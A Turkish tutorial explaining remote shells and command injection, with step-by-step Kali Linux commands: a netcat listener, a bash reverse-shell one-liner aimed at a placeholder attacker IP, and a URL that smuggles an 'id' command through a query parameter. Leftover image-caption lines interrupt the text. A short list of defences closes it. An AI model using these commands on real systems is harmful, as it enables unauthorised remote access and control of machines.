# Remote Shell & Command Injection

Remote Shell, bir saldırganın hedef sistem üzerinde uzaktan terminal erişimi elde etmesini sağlayan bir tekniktir. Bu erişim genellikle zafiyetli sistemler üzerinden gerçekleştirilir ve saldırganın hedef sistemde komut çalıştırmasına, dosya işlemleri yapmasına ve yetki yükseltmesine olanak tanır.  
  
Command Injection (Komut Enjeksiyonu) ise, uygulamanın kullanıcıdan aldığı verileri sistem komutlarına doğrudan aktarması sonucu oluşan kritik bir güvenlik açığıdır. Bu zafiyet sayesinde saldırgan, hedef sistemde keyfi komutlar çalıştırabilir.

# Bu tekniğin özellikleri nelerdir?

- Uzaktan Komut Çalıştırma: Sistem üzerinde doğrudan terminal komutları yürütülebilir.

- Ters Kabuk Erişimi (Reverse Shell): Hedef sistemden saldırgana doğru bağlantı alınarak etkileşimli kabuk sağlanabilir.

- Sistem Kontrolü: Dosya okuma/yazma/silme, kullanıcı işlemleri gibi kritik işlemler yapılabilir.

- Yetki Yükseltme ve Pivoting: Elde edilen erişim, sistemde daha yüksek ayrıcalıklar veya diğer sistemlere erişim için kullanılabilir.

- Düşük Maliyetli ve Etkili: Komut enjeksiyonu zafiyetleri kolay tespit edilebilir ancak etkileri büyüktür.

## Bu tekniği Kali Linux'ta kullanma adımları:

**Adım 1**: Sistem paket listesini güncelleyin:

sudo apt update --fix-missing  
metin, ekran görüntüsü, yazı tipi içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

**Adım 2:** Gerekli aracı (Netcat) yükleyin:  
  
sudo apt install netcat-openbsdmetin, ekran görüntüsü, yazı tipi içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.  
  
Not: Eğer hata alırsanız /etc/apt/sources.list dosyasını aşağıdaki gibi düzeltin:  
deb http://http.kali.org/kali kali-rolling main non-free contrib

**Adım 3:** Saldırgan makinede bağlantı beklemek için netcat dinlemeye alın:  
  
nc -lvnp 4444

metin, ekran görüntüsü, yazı tipi içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

**Adım 4:** Hedef sisteme aşağıdaki ters kabuk (reverse shell) komutu enjekte edilir:  
  
bash -i >& /dev/tcp/ATTACKER\_IP/4444 0>&1

metin, ekran görüntüsü, yazı tipi, grafik içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.  
  
Buradaki ATTACKER\_IP kısmına Kali Linux sisteminizin IP adresini yazın.

**Adım 5:** Başarılı bağlantı alındıktan sonra, hedef sistemde komut yürütme sağlanır. Gerekirse linpeas, sudo -l, id, uname -a gibi komutlarla sistem analizi yapılır.

## Command Injection Örneği:

Zafiyetli URL:  
  
http://hedef.com/page.php?user=admin;id  
  
Eğer sistem filtreleme yapmıyorsa id komutu çalışır ve çıktısı tarayıcıda görülür.

## Önlem Yöntemleri:

- Girdi doğrulama ve filtreleme

- Parametreleştirme (parametrized commands)

- Komut satırı erişiminin sınırlandırılması

- WAF (Web Application Firewall) kullanımı

- Whitelist ile giriş kontrolü